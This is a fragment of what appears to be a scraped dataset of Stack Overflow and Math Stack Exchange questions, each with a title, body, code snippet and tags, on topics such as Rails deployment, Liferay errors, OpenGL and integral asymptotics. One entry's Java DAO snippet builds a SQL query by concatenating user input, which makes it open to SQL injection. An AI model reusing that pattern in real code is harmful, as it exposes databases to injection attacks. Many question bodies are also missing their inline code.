stuff. \nDeddydoo --- A Deddydoo does all the stuff a Bloggiddy Bloop and an
Apwitchik do, but even more.\n", "", "lists"], "4465692": ["Passenger throws
Bundler::GemfileError after \"gem update --system\"", "Background\nOn my local
machine, I tried installing the 'bullet' gem via my gemfile, and seemed to go
without incident, however upon restarting my app passenger began throwing the error
. It seems someone else had this issue and the suggested resolution on
StackOverflow said to update RubyGems by running:\nThe issue\n\nThis produced no
error messages upon running, however now none of apps will start. They all give the
same vague Passenger error:\n\nI removed 'bullet' from my gemfile so it's now back
in a state when it was working yesterday, so I don't think there can be an error in
my gemfile. Furthermore, all of my other apps are now broken and their gemfiles
haven't changed at all.\nFor reference:\n\nAnd when I do for the global and local
gemsets, it shows bundler 1.1.0 installed.\nEdit: I should also mention that
running starts up a WEBrick server just fine and I can access my apps at
localhost:3000, so it's only under Passenger that this error crops up.\n",
"bundle", "rvm bundler passenger"], "5082674": ["When the set $\\{(S_{i_1}\\circ\\
cdots\\circ S_{i_n})(x): n\\in \\mathbb{N},\\;\\; i_1,\\ldots,i_n\\in I\\}$ is
relatively compact?", "Let $(X,\\rho)$ be a metric space and let $S_1,\\
ldots,S_N:X\\rightarrow X$ be continuous transformations. Denote $I=\\{1,\\
ldots,N\\}$. Is it possible to find some minimal assumptions on $S_i$ which would
ensure relative compactness of the set $\\{(S_{i_1}\\circ\\cdots\\circ S_{i_n})(x):
n\\in \\mathbb{N},\\;\\; i_1,\\ldots,i_n\\in I\\}$ at any point $x\\in X$?\nI know
it is a general question and perhaps it is known. It is important for me, so I
will be grateful for any propositions. \n", "", "real-analysis functional-analysis
metric-spaces"], "2938280": ["biztalk administration console crash when browsing
for folder", "We recently upgraded our biztalk server 2006R2 to SP1. The problem is
that we're having some small issues now, for example the administration console
crashes when I browse for a folder if I want to make a file send/receive port.\nAny
idea what might cause this problem?\nI'm having no problems when I browse for a
folder with our normal explorer and then copy paste its address into the biztalk
folder browser.\n", "", "crash biztalk folder browsing administration-console"],
"2056137": ["A way to do unit testing online? (i.e. Google)?", "I'm trying to setup
phpUnit via my host however, they are severely outdated and the documentation on
how to use it is non-existent (hosts version). I'm wondering is there a way to do
online unit testing, where the framework is hosted somewhere other than my server?\
nFor example does Google have a solution where I can just include a file from
Google's server?\nUPDATE:\nOK so apparently there is no cloud based way to run
phpUnit. So my problem is installing it. My host has a PEAR installer (I'm not
familiar with how PEAR really works yet). However, the version that they have is
phpUnit2 which is apparently related to phpUnit
(https://github.com/sebastianbergmann/phpunit/). But that is all I can really
find.\nAccording to the above link, the main way to install phpUnit is through PEAR
:\nhttp://www.phpunit.de/manual/current/en/installation.html\nIt requires that I
change channels, however, it doesn't look like I have access to do that. Some are
suggesting I can just copy the files up to my server and use them that way. Is
that the best way for me to do this? Are there other settings I need to change (on
my server) to make this work?\nAny information is much appreciated. \n", "", "php
unit-testing phpunit pear"], "5119473": ["How to write recursive view in MVC
cshtml?", "Is it possible to write a cascading, recursive \"tree view\" (e.g. a li
in ul, ul in li, etc) in pure cshtml, without moving the whole thing to a partial
view and calling from the partial view?\nSomething like an inline recursive
function, or section...\n", "@Html.Partial(\"itself\",Model.Children)", "asp.net-
mvc-3 recursion view razor"], "5582881": ["How to zoom a imageview that was passed
to bitmap", "Hi every one am developing android applicaiton can someone tell me how
can i zoom an imageview that was passed to bitmap.\nsample Code:\n\n", "mColor_Img
= (ImageView)findViewById(R.id.color_img_id);\nResources res = getResources();\nbmp
= BitmapFactory.decodeResource(res,R.id.iv).copy(\n Bitmap.Config.ARGB_8888,
true);\nmColor_Img.setImageBitmap(copy_bmp);\nmColor_Img.setOnTouchListener(this);\
n", "android imageview image-zoom bitmapfactory"], "1691027": ["Heroku for private
server deployment?", "anyone knows how to achieve a way to deploy rails apps like
heroku on private server?\ni use passenger for rails deployment powered by nginx.
atm i you capistrano, but i want to just use\n\nfor deploying my apps, including
migrations. \nany suggestions?\nthanks in advance!\n", "git push server production\
n", "ruby-on-rails git deployment heroku passenger"], "5045541": ["Basic questions
about the algebra of surfaces", "When I was studying topology I remember being able
to demonstrate that the set of topological surfaces with any number of punctures
(including the projective plane, Klein bottle, Moebius strip, double torus, etc.),
together with their associated inverses, was not a group with respect to the
operations of connection and disconnection. I could show with a sequence of
drawings that it is possible to connect two Klein bottles, deform the surface, and
disconnect a torus from a single remaining Klein bottle, i.e. K+K = K+T, so
inverses are not well defined even though the operator is otherwise associative on
that set, has an identity (the sphere), and is also Abelian.\nI never made much
progress in my understanding beyond this point so I am interested in any answer
that can simply explain what is going on here (am I misinterpreting something else
as a topological property?), else provide a reference (I'm not even sure what
branch of topology addresses this). One slightly more specific question I have is:
what is an example of a collection of topologies which does form a group under
connection and is this ever a useful property to have?\n", "", "soft-question
general-topology algebraic-topology"], "4178041": ["jQuery UI CSS not overriding",
"I have some anchor icons that inherit from and . The of is overriding the of .
\nWhen the anchor icons only inherit from , the background-position of has higher
priority than that of .\nI want to override so that I get the correct icon image
from the image sprite. How does the priority get decided when they are both classes
and according to chrome dev tools, is line 232 of the ui css whereas the is line
69?\nAlso when I do , the still doesn't override that of the .\nHere is simplified
version of my code:\nhtml\n\njs\n\n", ".ui-widget-content", "jquery css jquery-ui
inheritance override"], "4074157": ["What is the underlying data structure for
Python lists?", "What is the typical underlying data structure used to implement
Python's built-in list data type?\n", "", "python list data-structures
implementation underlying"], "5907677": ["Releasing Singletons", "I was wondering
how you would release a singleton \n\nWhen analysing this using the analyse tool i
get the following error : \nPotential leak of object on line 90. which is the line
that returns. \nI have tried autorelease that solves the error message problem but
im not convinced its the right solution since i read that autoreleasing singletons
is not good. Would someone be able to assist me in identifying how best to release
this object? \nThanks\n", "+ (DSActivityView *)activityViewForView:(UIView
*)addToView withLabel:(NSString *)labelText width:(NSUInteger)labelWidth;\n {\
n // Not autoreleased, as it is basically a singleton:\n return [[self alloc]
initForView:addToView withLabel:labelText width:labelWidth];\n }\n", "iphone
objective-c ios xcode memory-management"], "5200594": ["How to escape colon (:) in
$PATH on UNIX?", "I need to parse $PATH environment variable in my application.\nSo
I was wondering what escape characters would be valid in $PATH.\nI created a test
directory called and created a test script called inside it. It runs if I call it
with an absolute path.\nI just can't figure out how to escape in I tried out
escaping the colon with and wrapping it into single(') and double(\") quotes.\nBut
always when I run it can't find it.\nI'm running CentOs 6.\n", "/bin:d", "linux
path escaping environment-variables"], "2817460": ["Liferay generates exceptions:
null and javax.servlet.ServletException: java.lang.StackOverflowError", "I start a
liferay 6.1.0 with a fresh new jsf-portlet with sdk 6.1.0 and when I try\nto add
the portlet to the webpage I get THIS:\n\nPlease tell me what goes wrong here...\
nSidenote: As you can see there is a StackOverflowError, which indicates that this
post suits PERFECTLY to this site ;)\nLink to official forum:
http://www.liferay.com/community/forums/-/message_boards/message/20737546\nThanks
for any help!\n", "14:12:47,672 INFO [PortalImpl:4873] Current URL /poller/receive
generates exception: null\n14:13:17,625 INFO [PortalImpl:4873] Current URL /
generates exception: org.apache.jasper.JasperException:
javax.servlet.ServletException: java.lang.StackOverflowError\n14:13:17,705 ERROR
[status_jsp:670] org.apache.jasper.JasperException:
org.apache.jasper.JasperException: javax.servlet.ServletException:
java.lang.StackOverflowError\norg.apache.jasper.JasperException:
org.apache.jasper.JasperException: javax.servlet.ServletException:
java.lang.StackOverflowError\n at
org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.ja
va:549)\n at
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:455)\n
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390)\n at
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334)\n at
javax.servlet.http.HttpServlet.service(HttpServlet.java:722)\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:305)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:210)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:72)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilter.doFilter(InvokerFil
ter.java:70)\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:243)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:210)\n at
org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:68
4)\n at
org.apache.catalina.core.ApplicationDispatcher.doInclude(ApplicationDispatcher.java
:593)\n at
org.apache.catalina.core.ApplicationDispatcher.include(ApplicationDispatcher.java:5
30)\n at
com.liferay.portal.action.LayoutAction.includeLayoutContent(LayoutAction.java:412)\
n at
com.liferay.portal.action.LayoutAction.processLayout(LayoutAction.java:680)\n at
com.liferay.portal.action.LayoutAction.execute(LayoutAction.java:244)\n at
org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.jav
a:431)\n at
org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:236)\n
at
com.liferay.portal.struts.PortalRequestProcessor.process(PortalRequestProcessor.jav
a:174)\n at
org.apache.struts.action.ActionServlet.process(ActionServlet.java:1196)\n at
org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:414)\n at
javax.servlet.http.HttpServlet.service(HttpServlet.java:621)\n at
com.liferay.portal.servlet.MainServlet.callParentService(MainServlet.java:533)\n
at com.liferay.portal.servlet.MainServlet.service(MainServlet.java:510)\n at
javax.servlet.http.HttpServlet.service(HttpServlet.java:722)\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:305)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:210)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:72)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:113)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:113)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:113)\n at
com.liferay.portal.kernel.servlet.BaseFilter.processFilter(BaseFilter.java:121)\n
at
com.liferay.portal.servlet.filters.secure.SecureFilter.processFilter(SecureFilter.j
ava:201)\n at
com.liferay.portal.kernel.servlet.BaseFilter.doFilter(BaseFilter.java:48)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.processDoFilte
r(InvokerFilterChain.java:203)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:105)\n at
com.liferay.portal.kernel.servlet.BaseFilter.processFilter(BaseFilter.java:121)\n
at
com.liferay.portal.servlet.filters.autologin.AutoLoginFilter.processFilter(AutoLogi
nFilter.java:240)\n at
com.liferay.portal.kernel.servlet.BaseFilter.doFilter(BaseFilter.java:48)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.processDoFilte
r(InvokerFilterChain.java:203)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterChain.doFilter(Invok
erFilterChain.java:105)\n at
com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilter.doFilter(InvokerFil
ter.java:70)\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:243)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:210)\n at
org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:68
4)\n at
org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher
.java:471)\n at
org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java
:402)\n at
org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:3
29)\n at
com.liferay.portal.servlet.FriendlyURLServlet.service(FriendlyURLServlet.java:135)\
n at javax.servlet.http.HttpServlet.service(HttpServlet.java:722)\n", "java
exception sdk liferay portlet"], "1762146": ["How to write a TeX conditional to
test start of a new page (ConTeXt)", "Currently using:\n\nafter starting a new
page, then in subsequent text:\n\nBut sometimes does not seem to increment, even
though a new page has started.\n", "\\edef\\lastpagenumber{\\pagenumber}\n", "page-
breaking conditionals"], "2188358": ["Android Webview + WebViewClient + javascript
+ hardware input", "I've a webview which should distinguish between internal site
links and external links. I achieve this behavior by adding a html anchor
named \"#external\" to every link url which contains html-attribute
target=\"_blank\" with the help of javascript and checking the urls with
WebViewClient's \n\nshouldOverrideUrlLoading\n\nThis solution works great as long
as the user selects a link on the touchscreen. If the user selects a link with a
hardware input method (e.g. scroll-ball or enter-key) the html anchor is missing
from the request url and as a result my external link detection won't work.\nAny
ideas of what's going wrong?\nThx in advance,\nalex\n", "", "javascript android
webview"], "5893442": ["C# : How to convert a local pdf file to a byte [][]",
"SITUATION\n\nUsing C# ASP.NET on VS 2008\nI want to\n\nRead a pdf file from my
local directory (What stream type do I use? Can I use filestream?)\nPut this pdf
file into a byte[][] variable\n\n\nQUESTIONS\n\nBeing new to C#, I would like
suggestion (please explain with code), on how I can achieve this.\nI need to know
this to complete my project. Any other inputs will be appreciated.\n\nThe code is
as follows \n\n\nfor (int x = 0; x < pdfDoc.Length; x++)\n {\n pdfDoc[x]
= outputDoc;\n\n }\n\n\nBut it is failing, not able to read the file from the
d:/test.pdf location.\nThanks.\n", "\n byte[][] pdfDoc= new byte[1][];\n byte[]
outputDoc = File.ReadAllBytes(@\"d:/test.pdf\");", "c# byte"], "78820":
["Blacklisting ServiceReference", "I am developing a Java application in order to
manage event in the OSGi framework. However, I have a warning as following:\n\nI
know I could solve the problem through the properties of the OSGi server. However,
I would like to solve it through code. But, I do not know how I should manage the
Event Handler in my Java class in order to avoid this problem. Could any one help
me with this issue?\nThank you very much in advance\n", "WARNING: EventAdmin:
Blacklisting ServiceReference [[org.osgi.service.event.EventHandler] |
Bundle(Scheduler [1])] due to timeout!\n", "java osgi apache-felix"], "1586787":
["C++ vector copy elements?", "I would like to use a dynamic array in C++
(something like an ArrayList or a Vector in Java.)\nIn this example are the t1,
t2... objects are copied or only its address is added to the vector?\nDo I need to
implement a copy constructor for Node class or will the default constructor make
a \"proper\" copy (because there is a pointer in the class)?\nOr should I just
declare a instead of this to avoid copying?\nAnd do I have to implement a
destructor to delete the pointer or may it be used by the program and still be
stored in the ?\n\n", "vector<Node*>", "c++ memory-allocation dynamic-arrays"],
"5300883": ["JavaScript jQuery Variables i should avoid using that conflicts with
Global variables", "What are JavaScript/jQuery variable names i should avoid
creating that could conflict with already existing Global variables. Yesterday i
discovered that i cannot use the variable . It must be a global variable. \n",
"default", "javascript jquery global-variables"], "5012215": ["Spring (MVC) SQL
injection avoidance?", "I am wondering how Spring MVC handles SQL injections (and
other security issues: XSS, code [javascript] injection, etc). I'm talking mostly
about escaping the values that are added to DBs and such. I can't seem to find any
answer because every time I search for spring sql injection results that involve
dependency injection arise.\nMy flow is as follows: from the client browser I make
a request consisting of an JSON with some query parameters (not the SQL statement,
that would be too stupid - to form the SQL query in JS). When the request reaches
the properly annotated method in the Controller, the request is mapped via
@RequestBody using Jackson to an \"request object\". Now this object is sent to the
DAO, where using JDBC Template I query the db (and using RowMapper I map the
results).\nIn the DAO I have something like:\n\nNow is this approach safe from SQL
injection?\nAre non-JDBCTemplate -based queries safe given that are flowing through
Spring MVC?\nCould we have a little discussion on this?\n", "public int
countAll(RequestObject request) {\n String sql = \"SELECT count(*) FROM
employees WHERE name = '\" + request.getName() + \"'\";\n\n JdbcTemplate
jdbcTemplate = new JdbcTemplate(dataSource);\n int count =
jdbcTemplate.queryForInt(sql);\n\n return count;\n}\n", "spring sql-injection
jdbctemplate"], "2748451": ["Why does the Rails guide suggest using the scoped
method on associations?", "The Rails guides state that a scope can be called on an
association. But then further on, it states that the method, which returns an
object, \"may come in handy...on associations\". If a scope can be called on an
association, what additional functionality does provide?\n", "scoped", "ruby-on-
rails-3 activerecord"], "2818576": ["Can this be written as a query instead of
using a function?", "I have a table in this format (similar to the class schedule
you had in college):\n\nI want to write a query that will get me for e.g.:\n\nThis
can be done easily using a function, but I'm curious if this can be done by using
an SQL query. This isn't important, it's just for knowledge:)\nEDIT: Sorry, I
missed out one vital clarification. There can be multiple rows per match time. It
could have MF on one row and W on the next. Now I understand why you folks were
asking for the actual create table statement.\n", "create table match_times\n(\n
match_time varchar2(20 char),\n match_sun_day char(1 char),\n match_mon_day
char(1 char),\n match_tue_day char(1 char),\n match_wed_day char(1 char),\n
match_thu_day char(1 char),\n match_fri_day char(1 char),\n match_sat_day
char(1 char)\n)\ncomment on column match_times.match_time is 'E.g. ''08:00-
08:50''';\ncomment on column match_times.match_sun_day is '''U'' or null';\ncomment
on column match_times.match_mon_day is '''M'' or null';\ncomment on column
match_times.match_tue_day is '''T'' or null';\ncomment on column
match_times.match_wed_day is '''W'' or null';\ncomment on column
match_times.match_thu_day is '''R'' or null';\ncomment on column
match_times.match_fri_day is '''F'' or null';\ncomment on column
match_times.match_sat_day is '''S'' or null';\n", "sql plsql"], "664773": ["How to
perform action when navigation controller pops a view on iPhone?", "I want to do
some saving stuff when the user hits the back button on a navigation controller.
Is this only possible by implementing \n\nso the delegate gets called when it's
about to show the previous view controller. Is there a more elegant way of knowing
when the view controller will be popped?\nand I can't use viewWillDisappear because
there's a button that displays a UIImagePickerController, and I don't want the
saving to be done then. Any thoughts?\n", "- (void)navigationController:
(UINavigationController *)navigationController willShowViewController:
(UIViewController *)viewController animated:(BOOL)animated\n{\n int index =
[[self.navigationController.viewControllers] indexOfObject:
[self.navigationController.visibleViewController]];\n if(viewController ==
[[self.navigationController.viewControllers] objectAtIndex:index-1])\n
//saving code here\n", "iphone uinavigationcontroller navigationcontroller"],
"5835838": ["Listview has transparent space between its views - how to remove it?",
"I have listview, which uses MergeAdapter (it can combine different adapters in
itself and act as compound adapter).\nMy problem: it has transparent space between
1st and 2nd items (that is 100% not a divider, I have different divider). By the
way, there is no divider between 1st and 2nd items.\nI loaded my listview's view
hierarchy in hierarchyviewer (it consisted of 3 items, only 3 for testing purposes)
and this is what I discovered:\n1st item was placed in 0-36px on vertical axis
(36px height, 0px - top)\n2nd item was placed in 41-191px (150px height, 41px -
top)\n3rd item was placed in 196-346px (150px height, 196px - top)\nAll items'
width is match_parent.\nI see transparent space between 1st and 2nd items (I cant
measure it, but it is about 5px, just like difference between end of 1st item and
beginning of the second one).\nHowever, I see no transparent space between 2nd and
3rd items despite the fact the 2nd one ends in 191px and the 3rd one begins in
196px.\nIt seems, android automatically fills this 5-pixel-area using background
color in case of 2nd-3rd items, but doesn't do it in the case of 1st-2nd items.\
nCan anyone explain me how it all works? I can misunderstand something. I'm not
sure my assumptions are right.\nBesides, my objective is to get rid of space
between 1st and second item.\nP.S. For those who have ever worked with
MergeAdapter, I have some observations specific to this adapter, when I use:\n\nit
displays views with transparent area mentioned above (with no divider between
myView and next ListView item). And when I use:\n\nI see no transparent area, but
divider. In fact, I need neither divider nor transparent area. How to archieve
this?\nP.P.S. I cannot place myView above ListView itself despite the fact myView
is the 1st element in ListView, because sometimes it is added somewhere in the
middle of ListView.\n", "adapter.addView(myView, false);\n", "android listview
adapter"], "3679302": ["Display number of friends using app", "I'm trying to
display the number of friends a user has using my app. I've figured out through FQL
how to pull out an array of the users friends using the app.\n\nRight now, it pulls
up an array when displayed. I'm trying to just display the result as a single
numerical value. I'm coding in PHP. Anyone know where I need to go from here?\n",
"SELECT uid,name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1=me())
AND is_app_user=1", "php facebook fql"], "3175701": ["expansion of $\\int_0^\\
infty\\left(\\frac{\\sin t}t\\right)^p\\mathrm dt$ in inverse powers of $p$", "This
question relates to this answer I gave to a question about the integral\n$$\\
int_0^\\infty\\left(\\frac{\\sin t}t\\right)^p\\mathrm dt\\;.$$\nI derived an
expansion in inverse powers of $p$ and then realized that I don't know how to
justify it rigorously or how to determine its radius of convergence. I substituted
$u=\\sqrt pt$ and applied \n$$\\left(1+\\frac xn\\right)^n=\\mathrm e^x\\left(1-\\
frac{x^2}{2n}+\\frac{x^3(8+3x)}{24n^2}+\\dotso\\right)$$\nto\n$$\n\\left(\\frac{\\
sin t}t\\right)^p=\\left(1+\\frac1p\\left(-\\frac16u^2+\\frac1{120}\\frac{u^4}p-\\
dotso\\right)\\right)^p$$\nto obtain\n$$\n\\begin{align}\n\\sqrt p\\int_0^\\infty\\
left(\\frac{\\sin t}t\\right)^p\\mathrm dt\n&=\n\\int_0^\\infty\\mathrm e^{-
u^2/6}\\left(1-\\frac1{180}\\frac{u^4}p+\\dotso\\right)\\mathrm du\n\\\\\n&=\n\\
sqrt{\\frac{3\\pi}2}\\left(1-\\frac{3}{20}\\frac1p+\\dotso\\right)\\;.\n\\
end{align}\n$$\n(For more details, see the answer.) With the help of Wolfram|Alpha,
I worked out further terms:\n$$\\sqrt p\\int_0^\\infty\\left(\\frac{\\sin t}t\\
right)^p\\mathrm dt\n=\n\\sqrt{\\frac{3\\pi}2}\\left(1-\\frac{3}{20}\\frac1p-\\
frac{13}{1120}\\frac1{p^2}+\\frac{27}{3200}\\frac1{p^3}+\\frac{52791}{3942400}\\
frac1{p^4}+\\dotso\\right)\\;.\n$$\nI believe all the intermediate series are well-
defined and convergent; the problem is that I don't know how to justify
interchanging integration and summation at the end. I doubt that the dominated
convergence theorem can be applied, since the integrand is $\\
operatorname{sinc}^p(u/\\sqrt p)$, whose expansion I would expect to oscillate
about as badly as the power series for $\\sin x$, whose partial sums are
unbounded.\nThe last three coefficients given above are roughly of the same order
of magnitude, which might indicate that if the series converges at all, it might
converge for $p\\gtrsim1$. However, while plugging in $p=10$ gives the right result
up to six decimal places, the result for $p=2$ is off in the first decimal place,
much worse than might be expected from the given terms. That makes me wonder
whether this is perhaps just an asymptotic expansion.\nSo my questions are:\n\nHow
can I justify interchanging integration and summation in the last step?\nIs the
series that I obtained convergent? Or is it just an asymptotic expansion?\nIf it
converges, how might I determine the radius of convergence?\n\n", "", "sequences-
and-series convergence asymptotics definite-integral"], "4408741": ["Converting
OCaml to F#: Converting OCaml open_box and close_box to F#", "I am converting
several modules based on OCaml to F# and ran into the OCaml print formatting
functions open_box and close_box from the OCaml format module. After reading about
the concept of a printing box, it makes sense but seems like it needs a lot of work
behind the scenes to implement.\nIs there an F# module that is functionally
equivalent?\nIf not, without having to convert portions of the OCaml format module,
what are quick and simple replacement functions?\nEDIT \nJack has a version as part
of OCaml Format at FSharpx.Compatibility.OCaml.Format.Format.fs \nI havent' tested
it, but it is the most compelete version I have found at present.\n", "", "f#
ocaml"], "4986446": ["xcode is not even *trying* to compile some of my .mm files,
then fails while linking", "I'm copying some objective c++ files over from another
(working) project.\nI get no errors when compiling, but get a linker error: \n\
nUndefined symbols:\n \"_OBJC_CLASS_$_Buzzy2\", referenced\n from:\n objc-
class-ref-to-Buzzy2 in AudioModeFactory.o ld: symbol(s) not\n found collect2: ld
returned 1 exit\n status\n\nLooking over the compiler output, I see that xcode
never even tried to compile this class. The .h and .mm for the class are there in
the source. Its header is imported in to another class, and there are no compiler
complaints about that, but the compiler never touches it. I've tried cleaning all
targets, touching the files, with no luck. Any idea what's going on here?\n", "",
"xcode gcc compiler"], "895113": ["Error specifying path for the xsd document.
[using dbms_xmlschema]", "My environment:\nOracle Database 10g Express Edition
Release 10.2.0.1.0 - Product \nPL/SQL Release 10.2.0.1.0 - Production\nCORE
10.2.0.1.0 Production\nTNS for 32-bit Windows: Version 10.2.0.1.0 - Production \nI
need to register a \"xsd\" document, so that i am later able to upload
corresponding XML documents into the database.\nBut when
i run the below code i get\n\nbut it throws an error:\n\ni felt that there is a
problem with specifying the path so i tried various options like this:\nbut i again
get the same error\n xdbURIType(C:\\Users\\praagarwal\\public\\xml\\
db_objects.xsd').getClob(),\n", " begin\n
dbms_xmlschema.registerSchema( 'http://localhost:8080/db_objects.xsd',\n
xdbURIType('\\public\\xml\\db_objects.xsd').getClob(),\n TRUE,TRUE,FALSE,TRUE\n
);\n end;\n", "sql xml xsd oracle10g"], "5446969": ["How would I convert a table
to a parent-child structure", "I have a dimension table in my relational data
warehouse that holds category data. The category data is a ragged hierarchy. \
nThe table structure is as follows:\n\nNow some category items only go down 1 or 2
levels and some all 3 levels. The problem I was having is when I created my ragged
hierarchy in SSAS the built-in browser displayed the hierarchy correctly but when
building my reports in SSRS, items weren't being displayed due to the HideMemberIf
property. If I changed HideMemberIf property to none then everything displayed in
the reports ok except that everything had a 3 level drill-down so those items that
were only 1 or 2 levels deep were drilling down into blank fields which just
doesn't look right to me. \nSo from doing some research, and correct me if I'm
wrong, but it seems perhaps creating a 'parent-child' table structure for
categories may solve my issue.\nSomething like this:\n\nBut I'm really not sure the
best way to copy the data over from the old table to the parent-child table or if
this will even benefit me. From what I can see it's going to be quite a messy
query or SSIS package to do so. \nI'm using SQL Server 2012\nAny experts care to
share some suggestions? Thanks\n", "SK int primary key\nSourceID int\nGroup
nvarchar\nCategory nvarchar\nSubcategory nvarchar\n", "reporting-services ssas sql-
server-2012"], "4103479": ["Comparing output of DDLGEN from two databases", "I have
used the ddlgen tool to export the database schemas from my DEV and UAT servers.
Now I am trying to file diff the output but the order in which the DDL is generated
is different from both servers.\nThe documentation for the tool does not appear to
have an option for sorting the output. Is there one?\nAlternatively, is there
another tool available for this purpose?\n", "", "sybase"], "3518941": ["Processing
ID in the URL", "I have gotta website powered by a set of jQueries; Dynamically
loading the contents with a set of menu buttons. \nNow, all I want to know is
this:\nHave you seen in blogger? The url is like\n\nFor the #id, if you put
#overview it shows the stats. If you put #allposts it shows all the posts and
similarly the content varies depending only on the #id in the url. I've seen many
websites use this method to provide PermaLinks too.\nHow can I do it? for each menu
button I provided an #id, which if passed in the url I need to switch to that
particular menu.\nNote : I use PHP, js, jQuery and HTML5 +/- Ajax\nPS: Please, do
not say you can use this and that! I'm a kinda middle of a knowledge i.e I'm not a
pro. So please provide me with some algorithms or code.\nThanks in advance :)\n",
"blogger.com/blogger.g?blogID=abcd#id\n", "php javascript jquery ajax html5"],
"5177803": ["Unfamiliar with technique to solve pre-populating textfields (w/out
access to a viewDidLoad or similar method) on Mac Desktop", "I have a mainMenu.xib
- that sets up all my interface items (button, textfields, etc).\nI have a
LogController that has access to all these items via IBOutlet and IBAction.\nWorks
fine - All connected and running well.\nHowever, I want to have NSUserDefault
values pre-populated in the textfields. However, I can't figure out how - since my
LogController doesn't extend a UIViewController (Like in the iPhone world) - I
don't have access to delegate methods like viewDidLoad - etc - where I could put
this type of logic.\nI can't put it in here (since this doesn't have access to the
UI elements in IB):\n\nSo for desktop applications on mac, how do I got about
solving this type of problem?\n", "- (void)applicationDidFinishLaunching:
(NSNotification *)aNotification {\n // Insert code here to initialize your
application \n}\n", "objective-c cocoa delegates interface-builder desktop-
application"], "1432797": ["How do I use the switch statement?", "I am trying to
understand the switch statement better. I don't need the code but kinda a
walkthrough on how it would be done.\nIf someone enters a 7 digit phone number EG.
555-3333 but enters it as \"jkl-deff\" as it would correspodnd to the letters on
the dial pad, how would I change the output back to numbers?\nWould this work:\n\
n", "switch (Digit[num1])\n case 'j,k,l':\n num1 = 5;\n
break;\n case 'd,e,f':\n num1 = 3;\n break;\n", "c++
switch-statement"], "5014339": ["fill rectangle and apply nonzero winding rule in
opengl", "this is simple rectangle drawing code in opengl..i want to fill the
rectangle with some color and want to apply non-zero winding rule to tell the user
whether rectangle is filled for inside or outside...how can i achieve this???\n\n",
"#include <cstdlib>\n#include <iostream>\n#include<GL/glut.h>\n\nusing namespace
std;\n\n#include <GL/glut.h>\n\nvoid display(void)\n{\n glClear
(GL_COLOR_BUFFER_BIT);\n\n\n glColor3f (1.0, 1.0, 1.0);\n glBegin(GL_POLYGON);\
n glVertex3f (0.25, 0.25, 0.0);\n glVertex3f (0.75, 0.25, 0.0);\n
glVertex3f (0.75, 0.75, 0.0);\n glVertex3f (0.25, 0.75, 0.0);\n glEnd();\n\
n\n glFlush ();\n}\n\nvoid init (void) \n{\n\n glClearColor (0.0, 0.0, 0.0,
0.0);\n\n\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n glOrtho(0.0,
1.0, 0.0, 1.0, -1.0, 1.0);\n}\n\n\nint main(int argc, char** argv)\n{\n
glutInit(&argc, argv);\n glutInitDisplayMode (GLUT_SINGLE | GLUT_RGB);\n
glutInitWindowSize (250, 250); \n glutInitWindowPosition (100, 100);\n
glutCreateWindow (\"hello\");\n init ();\n glutDisplayFunc(display); \n
glutMainLoop();\n return 0; \n}\n", "c++ c opengl"], "2350619": ["What is tomcat
memory heap committed?", "We are monitoring tomcat servers and i found whenever
Committed Heap memory reached Max heap memory my tomcat got crashed or OOM error,
But at same time Heap Used memory is under normal used. Could some one explain what
is committed used and why its crashing while Heap used is normal. \nSee following
graph so you get some idea. \n \n", "", "linux tomcat memory heap
outofmemoryerror"], "5466206": ["Difference between GlassFish Server Open Source
Edition and Java EE 6 SDK Update 2?", "Can anyone tell me the difference between
GlassFish Server Open Source Edition and Java EE 6 SDK Update 2?\nAs far as I know
the GlassFish Server Open Source Edition 3.1 is included in the Java EE 6 SDK
Update 2. But what else? Couldnt find any information.\n", "", "sdk java-ee
glassfish java-ee-6"], "3074475": ["How do you create a custom WPTouch theme?", "I
have WPTouch Pro installed and it does a great job at device detection as well as
handling most blog posts. However, I want to make a mobile version of a homepage
that doesn't have any blog posts. I know you can edit the css for a theme by
making a child theme and editing it. Is this the preferred method to get WPTouch
to show more content from the original page? \nThat link is here:
